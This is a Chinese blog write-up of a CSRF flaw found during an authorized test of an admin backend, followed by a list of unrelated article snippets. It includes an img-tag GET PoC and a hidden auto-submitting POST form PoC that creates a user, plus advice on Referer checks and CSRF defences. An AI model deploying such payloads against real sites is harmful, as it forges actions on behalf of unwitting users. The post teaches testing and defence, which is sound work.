工科学生死板板
工科学生死板板

记一次授权测试中POST型的CSRF漏洞发现

1.前言

之前应对CSRF漏洞，一直是使用img等标签来自动加载URL，进行GET传参的漏洞利用，执行指定操作，比如下面的POC：

<img src="https://xxxxx.com.cn/SCOREMZ/integrall/add.do?khname=CSRF&idcard=610111111111111111&phone=18111111113&jifen=100&creattime=&endtime=&qdbh=%E6%B5%8B%E8%AF%95&amount=">

因此一直觉得在预防CSRF上，将参数使用POST方式来传递也是一种预防方案，虽然该方案不够严谨。

直到今天碰到了这个漏洞，我才发现单纯的改变Method为POST根本无法预防CSRF，因为攻击者只需要构造相应的POST表单，然后在代码中加入JS自动提交就OK了，丝毫不影响漏洞的利用。

所以改变Method只是使得CSRF漏洞更容易隐藏，使得攻击者的操作稍微麻烦一些而已，根本问题并没有解决。

2.漏洞

该漏洞是在给一个厂商的后台做安全测试时发现的，首先是发现系统并未设置Token，因此有很大概率存在CSRF，然后抓取一个添加用户的数据包，将Referer头删除再发包，发现成功执行：
记一次授权测试中POST型的CSRF漏洞发现_第1张图片
既没有Token，又没有验证Referer，基本可以断定存在CSRF漏洞了。

Burp抓包，将Method改为GET：
记一次授权测试中POST型的CSRF漏洞发现_第2张图片
利用生成的请求URL构造POC，但是点击构造的页面后无法成功执行操作，因此判断后台只接受POST传参，需要进行表单提交。

既然知道数据包的参数，就可以来构造自动提交表单的POC了：

<html>
  <body>
    <form name="form1" action="https://xxxxx.com.cn/SCOREMZ/integrall/add.do" method="post">
      <input type="hidden" name="khname" value="CSRFFFFFFFFFFFFFFFFFF" />
      <input type="hidden" name="idcard" value="619111111111111111" />
      <input type="hidden" name="phone" value="18111111111" />
      <input type="hidden" name="jifen" value="2" />
      <input type="hidden" name="creattime" value="" />
      <input type="hidden" name="endtime" value="" />
      <input type="hidden" name="qdbh" value="aaaaaaaaaaaaa" />
      <input type="hidden" name="amount" value="" />
    form>
	<script language=javascript>document.forms[0].submit()script>
  body>
html>

POC中使用了 document.form.submit() 来进行表单的自动提交，且所有的input框都设置成hidden属性，这样就可以利用仅接受POST参数的CSRF漏洞，还不被发现了。

将POC代码保存为HTML文件，放置在本地服务器中，使用同一浏览器访问该文件，成功提交表单：
记一次授权测试中POST型的CSRF漏洞发现_第3张图片
抓取本页面自动提交的数据包，发现Referer头是本地，后台并没有进行验证
记一次授权测试中POST型的CSRF漏洞发现_第4张图片
查看后台，成功执行语句，创建了一个新用户 CSRFFFFFFFFFFFF ：
记一次授权测试中POST型的CSRF漏洞发现_第5张图片
就是这样，此漏洞定级为中危。

3.后话

对于CSRF的检测，如果没有Token或者验证码之类的，那基本就有希望了，接下来就是Referer的测试了，一般Referer验证有以下几种情况：

  • 域验证
  • 域名验证
  • 关键字验证

都有绕过的方法，具体可以看51CTO里这位师傅的文章：

  • https://blog.51cto.com/0x007/1610946

至于如何预防CSRF，其实也很简单，大致可以有以下几种方法：

  • 在请求中添加Token，这种方式不光能预防CSRF，还能预防多种攻击，比如重放攻击。
  • 严格验证Referer、Origin字段，可根据同源策略进行过滤，当Referer出现为空或不存在之类的情况，可选择直接进制请求。
  • 敏感操作中可选择再次验证密码或加入图形验证码。

值得注意的是，改用POST请求方式是错误的预防方法。

你可能感兴趣的:(渗透测试,csrf)

  • Spring Security OAuth2.0在分布式系统中的安全实践
    引言分布式系统架构下，安全认证与授权面临跨服务、高并发、多租户等挑战。SpringSecurity与OAuth2.0的结合为微服务安全提供了标准化解决方案。分布式系统中的安全挑战跨服务身份认证的复杂性令牌管理的可扩展性问题多租户场景下的权限隔离需求防止CSRF、XSS等常见攻击SpringSecurityOAuth2.0核心架构授权服务器设计@EnableAuthorizationServer配置
  • 网络安全第14集 不灭锦鲤 web安全安全
    前言：小迪安全14集，这集重点内容：0、什么是js渗透测试？在javascript中也存在变量和函数，存在可控变量和函数就有可能存在在漏洞，js开发的web应用和php、java开发的区别是，js能看得到的源代码，php看不到，但是风险就是未授权访问、配置信息泄露（加密算法、key秘钥等），源代码看得到，存在更多的url泄露，从而可能会出现未授权访问，从url，前提：web应用可以采用前端语言或后
  • 代码审计与web安全选择题1 m0_74726609 代码审计网络安全
    软件供应链安全的基础是（）A.完善的需求分析B.源代码安全C.渗透测试D.软件测试参考答案：B保证源代码安全的主要措施包括（）A.开发工具和环境的安全B.代码安全C.渗透测试D.代码审计E.软件的说明文档完整参考答案：ABCD通过（）技术，实现源代码在终端、网络及服务器存储场景下全周期的安全管理，防止内部代码有意、无意泄露、扩散出去。A.数据加B.数据脱C.数据安全隔离D.防火墙参考答案：C软件供
  • 网站渗透测试完全手册：零基础到进阶，系统学习网络安全攻防
    渗透测试介绍渗透测试就是模拟攻击者入侵系统，对系统进行一步步地渗透，发现系统地脆弱环节和隐藏风险。最后形成测试报告提供给系统所有者。系统所有者可根据该测试报告对系统进行加固，提升系统的安全性，防止真正的攻击者入侵。渗透测试的前提一定是得经过系统所有者的授权!未经过授权的渗透测试，就是违法行为!渗透测试意义信息安全评估的重要方法，有利于掌握系统整体安全强度。模拟黑客攻击和思维，评估计算机潜在风险。发
  • 高级07-Java安全编程：保护你的应用免受攻击 Jinkxs Java高级篇安全java
    引言在当今的数字时代，应用程序的安全性已成为软件开发过程中不可忽视的重要环节。Java作为一门广泛应用于企业级应用开发的编程语言，其安全性问题尤其受到关注。无论是在Web应用、移动应用还是后端服务中，Java开发者都需要面对各种潜在的安全威胁，如SQL注入、跨站脚本攻击（XSS）、跨站请求伪造（CSRF）、身份验证漏洞等。因此，掌握Java安全编程的最佳实践，不仅能够提升应用程序的健壮性，还能有效
  • 【网络安全】Metasploit 生成的 Shellcode 的导入函数解析以及执行流程分析（1） IT老涵 程序员安全网络网络安全信息安全计算机网络
    2021年4月，研究人员深入分析了CobaltStrike渗透测试技术，以及它的一些签名规避技术是如何在检测技术下失效的。在本文中，我们将深入讨论Metasploit，这是一个可以与CobaltStrike互操作的常用框架。在本文中，我们将讨论以下主题：shellcode的导入解析——Metasploitshellcode如何定位来自其他DLL的函数，以及我们如何预先计算这些值来解析来自其他有效载
  • 从零起步：30岁转行网络安全的实战指南 程序员罗知知 web安全网络安全sql数据库apache零基础
    从零起步：30岁转行网络安全的实战指南当你决定在30岁转行进入网络安全领域，那感觉就像突然跳进了深不见底的大海，既兴奋又有点怕水。但别担心，这条路上并不孤单。下面，咱就聊聊怎么一步步走向成功。转型之初的迷茫与方向认清自我是第一步。得知道自己到底对哪块感兴趣，是想搞渗透测试，还是更喜欢安全开发？比如我对Linux和编程特别着迷，于是选择了渗透测试作为切入点。接着就是学习资源的选择。网络上信息多得让人
  • #渗透测试#网络安全#一文了解什么是中间件！！！ 独行soc 一文了解网络安全web安全网络安全漏洞挖掘面试中间件架构
    免责声明本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停止本文章读。目录一、什么是中间件中间件的定义中间件的功能中间件的分类二、中间件技术的发展趋势三、中间件在云上的应用四、云中间件高可用性实现方法五、云中间件集群管理最佳实践六、云中间件性能监控指标详解七、提
  • 阿里云代理商：SSL篡改检测5步法——确保网站通信安全 v_junsouyun06 阿里云代理商阿里云优惠券阿里云服务器https安全网络协议
    目录一、什么是SSL篡改？二、SSL篡改检测5步法步骤1：检查SSL证书的合法性和完整性如何检查：工具推荐：步骤2：检查HTTPS连接的加密强度如何检查：工具推荐：步骤3：监控HTTP头和响应内容如何检查：工具推荐：步骤4：定期进行SSL证书的在线监控如何监控：工具推荐：步骤5：进行SSL漏洞扫描和渗透测试如何进行：工具推荐：三、总结在现代互联网环境中，SSL/TLS协议已成为确保网站与用户之间安
  • 网络安全漏洞挖掘入门教程（非常详细），从入门到精通，收藏这一篇就够了 前字节网络安全工程师 网络安全web安全安全
    一、什么是网络安全漏洞挖掘？1、简单介绍漏洞挖掘网络安全漏洞挖掘的全称为安全漏洞探测，简称漏洞挖掘，别称有白帽测试、渗透测试等。网络安全漏洞挖掘是一种主动查找系统、应用或网络弱点的过程，目的是在恶意攻击者之前发现和修复漏洞，保障数据安全。安全团队通过漏洞挖掘技术，对目标进行系统性扫描和分析，识别出如注入攻击、缓冲区溢出等隐患，并提供修补方案。如果形象地理解，漏洞挖掘就如同一个数字侦探，它的核心任务
  • 黑客必备的漏洞挖掘技术流程指南，零基础入门到精通，收藏这一篇就够了 灵魂黑客向阳 网络安全web安全学习安全
    一、什么是网络安全漏洞挖掘？1、简单介绍漏洞挖掘网络安全漏洞挖掘的全称为安全漏洞探测，简称漏洞挖掘，别称有白帽测试、渗透测试等。网络安全漏洞挖掘是一种主动查找系统、应用或网络弱点的过程，目的是在恶意攻击者之前发现和修复漏洞，保障数据安全。安全团队通过漏洞挖掘技术，对目标进行系统性扫描和分析，识别出如注入攻击、缓冲区溢出等隐患，并提供修补方案。如果形象地理解，漏洞挖掘就如同一个数字侦探，它的核心任务
  • 全面网络安全渗透测试流程[也称之为打点(站点)]与防护策略 浩策 OWASPTop漏洞web渗透web安全安全网络安全系统安全密码学安全架构网络攻击模型
    目录️‍♂️一、信息收集1.1获取域名和注册信息1.2收集子域名和旁站信息1.3DNS信息收集1.4识别服务器中间件和操作系统1.5扫描目录结构与敏感文件1.6敏感信息泄露1.7指纹识别二、漏洞扫描2.1Web漏洞扫描2.2系统漏洞扫描2.3漏洞验证⚔️三、漏洞利用与权限提升3.1漏洞利用3.2权限提升3.3权限维持四、内网渗透与痕迹清理4.1内网渗透4.2痕迹清理总结渗透测试是网络安全领域中至关
  • 一篇文章带你完全入门网络安全行业 网络安全架构师月月 网络安全web安全网络安全
    什么是网络安全网络安全兴起于1990年代中后期，伴随互联网发展迅速走向成熟。近二十年来，网络安全在金融、政企、医疗、电商等关键行业构建起完整生态，催生了多种高需职业方向，如渗透测试、应急响应、风险评估、安全防御架构设计等，已成为当前人才缺口最大领域之一。除了以上这些，大部分人学网络安全也是为了兼职赚钱，比如通过漏洞挖掘与渗透测试为企业排查安全隐患，构建自动化威胁防御策略实时保护系统免受攻击，开展红
  • 网络安全自学入门：（超详细）从入门到精通学习路线&；规划，学完即可就业 2401_84264010 程序员web安全学习安全
    4.遇到实在搞不懂的,可以先放放,以后再来解决网络安全零基础入门学习路线&规划初级1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、GoogleHacking③漏洞扫描、漏洞利用、原理
  • 小白入门网安必学的11种渗透工具 baimao__沧海 web安全安全渗透工具小白必学的渗透工具
    11种渗透测试工具，非常适合检测漏洞并准确模拟网络攻击。让我们看一下它们的功能和兼容的平台。您是否一直在寻找最能满足您的Web应用程序和网络安全测试要求的渗透测试工具？您是否要比较和分析不同的渗透测试工具，并确定最适合您企业的工具？还是只是想知道那里有哪些工具以及它们的功能？如果是，那么此博客已覆盖您。无论是为了进行法规遵从性，安全性评估而进行笔试测试，还是为了增强IT环境对网络安全威胁的防御能力
  • 网络安全渗透师的发展前景为什么这么好呢？ 程序员小雨Y web安全安全tcp/ip网络协议网络php30岁转行
    网络安全渗透工程师网络安全渗透工程师，实际上它是网络安全大方向下网络安全应急与防御的一个细分岗位，属于网络安全行业。Part.01网络安全渗透工程师的发展前景渗透工程师前景非常好，网络安全发展规模不断扩大，未来行业类的人才需求也会越来越多。就目前看来在网络安全方向上就业的薪资待遇也十分可观。（1）时代浪潮下，渗透测试的职业发展前景巨大。一个企业，想要安全、无后顾之忧的发展，网络安全保障是必不可少的
  • 红队视角：实战渗透测试中漏洞利用的进阶技巧与防御 白山云北诗 网络安全行业知识网络安全攻防演练渗透测试漏洞扫描
    红队作为渗透测试的“攻击方”，其核心价值不仅在于发现漏洞，更在于挖掘漏洞的深度利用方式——通过绕过防护措施、组合低危漏洞形成攻击链，暴露企业真实安全风险。从红队视角解析漏洞利用的进阶技巧，既能帮助防御方理解攻击思路，也能针对性优化防护策略。一、突破常规防护的漏洞利用进阶技巧红队在实战中常遇到WAF拦截、输入过滤、权限限制等防护措施，需通过进阶技巧突破防线：逻辑漏洞的深度挖掘与利用常规漏洞扫描工具难
  • 渗透测试实战：从入门到精通的全方位指南
    在数字化时代，网络安全已成为企业运营和个人生活的重要防线。渗透测试，作为评估系统安全性的重要手段，通过模拟黑客攻击，发现并利用系统中的漏洞，为安全防护提供有力支持。本文将为您提供一份从入门到精通的渗透测试实战指南，帮助您全面了解并掌握这一技能。一、渗透测试基础1.渗透测试定义渗透测试是指试图利用系统、网络、人力资源或实物资产中的弱点或漏洞，以对安全控制的有效性进行压力测试。它旨在发现潜在的安全风险
  • 网络安全渗透攻击案例实战：某公司内网为目标的渗透测试全过程
    目录一、案例背景二、目标分析（信息收集阶段）外部信息搜集指纹识别和端口扫描三、攻击流程（渗透测试全过程）步骤1：Web漏洞利用——泛微OA远程命令执行漏洞（CVE-2023-2648）步骤2：权限维持与横向移动2.1获取本地密码信息2.2利用数据库读取其他管理员账号密码（Base64加密）2.3横向移动尝试：步骤3：提权（本地提权）漏洞利用：CVE-2016-0099（WindowsKernel提
  • 常见的漏洞利用框架整理 网安导师小李 编程网络安全程序员node.jsweb安全网络安全tomcatpythonjava
    一、常见的漏洞利用框架MetasploitFramework：一个广泛使用的开源漏洞利用框架，用于测试和评估系统的安全性。ExploitDB：一个在线漏洞利用数据库，包含各种漏洞的利用代码。Canvas：由Immunity开发的商业漏洞利用框架，提供高级的漏洞利用技术和功能，用于渗透测试和漏洞研究。CoreImpact：一款商业漏洞利用框架，用于对网络和应用程序进行安全评估和渗透测试。Cobalt
  • 为任意Java程序配置Socks5与HTTP代理的方法
    在红队渗透测试的内网横向移动过程中，搭建反向代理是常见操作。frp、NPS等工具可快速构建Socks5代理，方便红队人员在内网环境中进行渗透。然而，许多渗透工具由Java编写，且部分工具未内置Socks5代理支持。使用Proxifier为java.exe进程设置全局Socks5代理时总会出现各种各样的问题。本文将详细介绍如何通过Java命令行参数或代码方式为任意Java程序配置Socks5与HTT
  • 基于 Python 的网站信息探测工具设计与实现 计算机毕业设计指导 python网络服务器
    基于Python的网站信息探测工具设计与实现摘要在渗透测试与网络安全评估中，信息探测是最基础且关键的一步。通过对目标网站的操作系统、服务器、CMS、端口、目录结构等信息进行自动化探测，可为后续攻击路径识别提供基础数据支撑。传统工具如WhatWeb、FOFA等虽功能强大，但在定制化与扩展性方面受限。本文设计并实现了一款基于Python的轻量级网站信息探测工具，支持URL/IP扫描、开放端口探测、CM
  • vSphere开发指南1——vSphere Automation API H_00c8
    前言VMwarevCenterServer是VMware虚拟化管理平台，广泛的应用于企业私有云内网中。站在渗透测试工具开发的角度，我们需要通过命令行实现vCenterServer同虚拟机的交互。本系列文章将要比较多种不同的API，介绍实现细节，开源代码，实现以下功能：·读取虚拟机的配置·查看虚拟机文件·删除虚拟机文件·向虚拟机上传文件·从虚拟机下载文件·在虚拟机中执行命令简介本文将要介绍以下内容：
  • 转行网络安全门槛高吗？网络安全零基础入门到精通，收藏这篇就够了 leah126 网络安全安全
    在当前就业形势下，不少朋友面临转行的困境。网络安全作为一个热门领域，自然也吸引了许多人的目光。本文将就转行网络安全这一话题，提供一些切实可行的建议。网络安全行业概况网络安全涵盖了从基础的脚本编写到高级的漏洞研究等多个层面。该领域包括但不限于：渗透测试、漏洞评估、恶意软件分析、入侵检测、信息安全管理等。这些内容的复杂性不一，从基础的安全监控到复杂的安全架构设计都涉及其中。这就意味着，尽管有些领域可能
  • 漏洞扫描 + 渗透测试：双轮驱动筑牢网络安全防线 白山云北诗 网络安全行业知识web安全网络安全渗透测试漏洞扫描安全检测
    在网络安全领域，单一的防护手段往往难以应对复杂的威胁环境。漏洞扫描通过自动化工具快速发现潜在风险，渗透测试则以攻击者视角验证漏洞的实际危害，二者结合形成“自动化检测+人工验证”的双轮驱动模式，已成为企业筑牢安全防线的核心策略。一、漏洞扫描与渗透测试的协同价值漏洞扫描和渗透测试并非相互替代，而是互补的安全检测手段：漏洞扫描：自动化发现潜在风险漏洞扫描工具通过预设规则和特征库，对网络设备、服务器、应用
  • 渗透测试工程师(NISP-PT) 网安世纪小鹅NISP_CISP 网络网络安全安全
    第一阶段：网络安全基础知识（2周）【学生可掌握的核心能力】1、能够根据企业办公环境和信息点数，为企业组建中小型企业网络，并能指导实施;2、能够根据网络拓扑图，根据企业需求，配置路由器与交换机，实现企业网络全网互通;3、按照正确的操作方法和顺序，监控设备和网络的运行状态，维护设备和网络传输媒介的正常工作;完成设备的升级、配置文件的备份和还原等;完成网络的日常维护。【学习价值】具备市场网络中级水平，能
  • 渗透测试视角：Web 应用常见漏洞的利用与防御策略
    Web应用已成为企业业务的核心载体，但SQL注入、XSS、文件上传漏洞等安全问题频发。从渗透测试视角分析漏洞的利用原理，才能制定更有效的防御策略。本文将结合实战案例，解析Web应用常见漏洞的利用方式与防御方法。一、SQL注入漏洞：数据库的“隐形后门”SQL注入是最常见的Web漏洞之一，攻击者通过在参数中插入SQL语句，操控数据库获取数据或执行命令。漏洞原理与利用场景当Web应用未对用户输入进行过滤
  • 前端安全指南：防御XSS与CSRF攻击 天天进步2015 前端开发前端安全xss
    引言随着互联网的快速发展，Web应用安全问题日益突出。作为前端开发者，了解常见的安全威胁及其防御措施至关重要。本文将重点介绍两种最常见的前端安全威胁：跨站脚本攻击（XSS）和跨站请求伪造（CSRF），并提供实用的防御策略。XSS攻击解析什么是XSS攻击？XSS（Cross-SiteScripting，跨站脚本）攻击是一种注入类型的攻击，攻击者通过在目标网站上注入恶意脚本代码，当用户浏览该页面时，恶
  • 秒杀系统设计思路 先生zeng
    昨天遇到这个问题，发现自己临时总结的不是很好，所以现在想重新整理一下思路。分析一下问题:类似淘宝那种做秒杀系统活动，你是如何设计的？场景分析:1.需到达某个时刻才可以开始秒杀(某个时刻之前需要控制拒绝请求)。2.一瞬间大量的请求到后台，服务器，数据库，缓存都会扛不住。(前端拦截、削峰，限流)3.满足条件才可以进行秒杀(最先过滤这些不满足条件的)4.防止恶意刷单请求，网站攻击(SQL注入，CSRF)
  • 面试经验分享 | 成都某安全厂商渗透测试工程师
    更多大厂面试题看我的主页或者专栏找我免费领取目录：所面试的公司：某安全厂商所在城市：成都面试职位：渗透测试工程师岗位面试过程：面试官的问题：1.平常在学校打CTF嘛，获奖情况讲下，以及你自己的贡献如何？2.内网渗透主要思路说一下吧？3.web打点过程中有没有遇到过waf？怎么绕过的4.现在给你一个站你会怎么做信息搜集？5.如何快速检测定位网站目录下的webshell呢？6.简单讲下反弹shell的
  • java类加载顺序 3213213333332132 java
    package com.demo; /** * @Description 类加载顺序 * @author FuJianyong * 2015-2-6上午11:21:37 */ public class ClassLoaderSequence { String s1 = "成员属性"; static String s2 = "
  • Hibernate与mybitas的比较 BlueSkator sqlHibernate框架ibatisorm
    第一章     Hibernate与MyBatis Hibernate 是当前最流行的O/R mapping框架，它出身于sf.net，现在已经成为Jboss的一部分。 Mybatis 是另外一种优秀的O/R mapping框架。目前属于apache的一个子项目。 MyBatis 参考资料官网：http:
  • php多维数组排序以及实际工作中的应用 dcj3sjt126com PHPusortuasort
    自定义排序函数返回false或负数意味着第一个参数应该排在第二个参数的前面, 正数或true反之, 0相等usort不保存键名uasort 键名会保存下来uksort 排序是对键名进行的 <!doctype html> <html lang="en"> <head> <meta charset="utf-8&q
  • DOM改变字体大小 周华华 前端
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q
  • c3p0的配置 g21121 c3p0
    c3p0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。c3p0的下载地址是：http://sourceforge.net/projects/c3p0/这里可以下载到c3p0最新版本。 以在spring中配置dataSource为例： <!-- spring加载资源文件 --> <bean name="prope
  • Java获取工程路径的几种方法 510888780 java
    第一种： File f = new File(this.getClass().getResource("/").getPath()); System.out.println(f); 结果: C:\Documents%20and%20Settings\Administrator\workspace\projectName\bin 获取当前类的所在工程路径; 如果不加“
  • 在类Unix系统下实现SSH免密码登录服务器 Harry642 免密ssh
    1.客户机     (1)执行ssh-keygen -t rsa -C "[email protected]"生成公钥，xxx为自定义大email地址     (2)执行scp ~/.ssh/id_rsa.pub root@xxxxxxxxx:/tmp将公钥拷贝到服务器上，xxx为服务器地址     (3)执行cat
  • Java新手入门的30个基本概念一 aijuans javajava 入门新手
    在我们学习Java的过程中,掌握其中的基本概念对我们的学习无论是J2SE,J2EE,J2ME都是很重要的,J2SE是Java的基础,所以有必要对其中的基本概念做以归纳,以便大家在以后的学习过程中更好的理解java的精髓,在此我总结了30条基本的概念。　　Java概述:　　目前Java主要应用于中间件的开发(middleware)---处理客户机于服务器之间的通信技术,早期的实践证明,Java不适合
  • Memcached for windows 简单介绍 antlove javaWebwindowscachememcached
    1. 安装memcached server a. 下载memcached-1.2.6-win32-bin.zip b. 解压缩，dos 窗口切换到 memcached.exe所在目录，运行memcached.exe -d install c.启动memcached Server,直接在dos窗口键入 net start "memcached Server&quo
  • 数据库对象的视图和索引 百合不是茶 索引oeacle数据库视图
      视图     视图是从一个表或视图导出的表，也可以是从多个表或视图导出的表。视图是一个虚表，数据库不对视图所对应的数据进行实际存储，只存储视图的定义，对视图的数据进行操作时,只能将字段定义为视图,不能将具体的数据定义为视图       为什么oracle需要视图;    &
  • Mockito(一) --入门篇 bijian1013 持续集成mockito单元测试
            Mockito是一个针对Java的mocking框架，它与EasyMock和jMock很相似，但是通过在执行后校验什么已经被调用，它消除了对期望 行为（expectations）的需要。其它的mocking库需要你在执行前记录期望行为（expectations），而这导致了丑陋的初始化代码。  &nb
  • 精通Oracle10编程SQL(5)SQL函数 bijian1013 oracle数据库plsql
    /* * SQL函数 */ --数字函数 --ABS(n):返回数字n的绝对值 declare v_abs number(6,2); begin v_abs:=abs(&no); dbms_output.put_line('绝对值：'||v_abs); end; --ACOS(n):返回数字n的反余弦值，输入值的范围是-1~1，输出值的单位为弧度
  • 【Log4j一】Log4j总体介绍 bit1129 log4j
    Log4j组件：Logger、Appender、Layout   Log4j核心包含三个组件：logger、appender和layout。这三个组件协作提供日志功能： 日志的输出目标 日志的输出格式 日志的输出级别(是否抑制日志的输出)  logger继承特性 A logger is said to be an ancestor of anothe
  • Java IO笔记 白糖_ java
    public static void main(String[] args) throws IOException { //输入流 InputStream in = Test.class.getResourceAsStream("/test"); InputStreamReader isr = new InputStreamReader(in); Bu
  • Docker 监控 ronin47 docker监控
             目前项目内部署了docker，于是涉及到关于监控的事情，参考一些经典实例以及一些自己的想法，总结一下思路。 1、关于监控的内容 监控宿主机本身 监控宿主机本身还是比较简单的，同其他服务器监控类似，对cpu、network、io、disk等做通用的检查，这里不再细说。 额外的，因为是docker的
  • java-顺时针打印图形 bylijinnan java
    一个画图程序 要求打印出： 1.int i=5; 2.1 2 3 4 5 3.16 17 18 19 6 4.15 24 25 20 7 5.14 23 22 21 8 6.13 12 11 10 9 7. 8.int i=6 9.1 2 3 4 5 6 10.20 21 22 23 24 7 11.19
  • 关于iReport汉化版强制使用英文的配置方法 Kai_Ge iReport汉化英文版
    对于那些具有强迫症的工程师来说，软件汉化固然好用，但是汉化不完整却极为头疼，本方法针对iReport汉化不完整的情况，强制使用英文版，方法如下： 在 iReport 安装路径下的 etc/ireport.conf 里增加红色部分启动参数，即可变为英文版。   # ${HOME} will be replaced by user home directory accordin
  • [并行计算]论宇宙的可计算性 comsci 并行计算
          现在我们知道,一个涡旋系统具有并行计算能力.按照自然运动理论,这个系统也同时具有存储能力,同时具备计算和存储能力的系统,在某种条件下一般都会产生意识......       那么,这种概念让我们推论出一个结论     &nb
  • 用OpenGL实现无限循环的coverflow dai_lm androidcoverflow
    网上找了很久，都是用Gallery实现的，效果不是很满意，结果发现这个用OpenGL实现的，稍微修改了一下源码，实现了无限循环功能 源码地址： https://github.com/jackfengji/glcoverflow public class CoverFlowOpenGL extends GLSurfaceView implements GLSurfaceV
  • JAVA数据计算的几个解决方案1 datamachine javaHibernate计算
    老大丢过来的软件跑了10天，摸到点门道，正好跟以前攒的私房有关联，整理存档。 -----------------------------华丽的分割线-------------------------------------     数据计算层是指介于数据存储和应用程序之间，负责计算数据存储层的数据，并将计算结果返回应用程序的层次。J  &nbs
  • 简单的用户授权系统,利用给user表添加一个字段标识管理员的方式 dcj3sjt126com yii
    怎么创建一个简单的(非 RBAC)用户授权系统 通过查看论坛，我发现这是一个常见的问题，所以我决定写这篇文章。 本文只包括授权系统.假设你已经知道怎么创建身份验证系统(登录)。 数据库 首先在 user 表创建一个新的字段(integer 类型),字段名 'accessLevel',它定义了用户的访问权限 扩展 CWebUser 类 在配置文件(一般为 protecte
  • 未选之路 dcj3sjt126com 诗
    作者:罗伯特*费罗斯特   黄色的树林里分出两条路, 可惜我不能同时去涉足, 我在那路口久久伫立, 我向着一条路极目望去, 直到它消失在丛林深处.   但我却选了另外一条路, 它荒草萋萋,十分幽寂; 显得更诱人,更美丽, 虽然在这两条小路上, 都很少留下旅人的足迹.   那天清晨落叶满地, 两条路都未见脚印痕迹. 呵,留下一条路等改日再
  • Java处理15位身份证变18位 蕃薯耀 18位身份证变15位15位身份证变18位身份证转换
      15位身份证变18位，18位身份证变15位 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 201
  • SpringMVC4零配置--应用上下文配置【AppConfig】 hanqunfeng springmvc4
    从spring3.0开始，Spring将JavaConfig整合到核心模块，普通的POJO只需要标注@Configuration注解，就可以成为spring配置类，并通过在方法上标注@Bean注解的方式注入bean。   Xml配置和Java类配置对比如下： applicationContext-AppConfig.xml   <!-- 激活自动代理功能 参看：
  • Android中webview跟JAVASCRIPT中的交互 jackyrong JavaScripthtmlandroid脚本
      在android的应用程序中,可以直接调用webview中的javascript代码,而webview中的javascript代码,也可以去调用ANDROID应用程序(也就是JAVA部分的代码).下面举例说明之: 1 JAVASCRIPT脚本调用android程序    要在webview中,调用addJavascriptInterface(OBJ,int
  • 8个最佳Web开发资源推荐 lampcy 编程Web程序员
    Web开发对程序员来说是一项较为复杂的工作，程序员需要快速地满足用户需求。如今很多的在线资源可以给程序员提供帮助，比如指导手册、在线课程和一些参考资料，而且这些资源基本都是免费和适合初学者的。无论你是需要选择一门新的编程语言，或是了解最新的标准，还是需要从其他地方找到一些灵感，我们这里为你整理了一些很好的Web开发资源，帮助你更成功地进行Web开发。 这里列出10个最佳Web开发资源，它们都是受
  • 架构师之面试------jdk的hashMap实现 nannan408 HashMap
    1.前言。   如题。 2.详述。   (1)hashMap算法就是数组链表。数组存放的元素是键值对。jdk通过移位算法（其实也就是简单的加乘算法），如下代码来生成数组下标(生成后indexFor一下就成下标了）。 static int hash(int h) { h ^= (h >>> 20) ^ (h >>>
  • html禁止清除input文本输入缓存 Rainbow702 html缓存input输入框change
    多数浏览器默认会缓存input的值，只有使用ctl+F5强制刷新的才可以清除缓存记录。 如果不想让浏览器缓存input的值，有2种方法： 方法一： 在不想使用缓存的input中添加 autocomplete="off";  <input type="text" autocomplete="off" n
  • POJO和JavaBean的区别和联系 tjmljw POJOjava beans
    POJO 和JavaBean是我们常见的两个关键字，一般容易混淆，POJO全称是Plain Ordinary Java Object / Pure Old Java Object，中文可以翻译成：普通Java类，具有一部分getter/setter方法的那种类就可以称作POJO，但是JavaBean则比 POJO复杂很多， Java Bean 是可复用的组件，对 Java Bean 并没有严格的规
  • java中单例的五种写法 liuxiaoling java单例
    /** * 单例模式的五种写法： * 1、懒汉 * 2、恶汉 * 3、静态内部类 * 4、枚举 * 5、双重校验锁 */ /** * 五、 双重校验锁，在当前的内存模型中无效 */ class LockSingleton { private volatile static LockSingleton singleton; pri
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他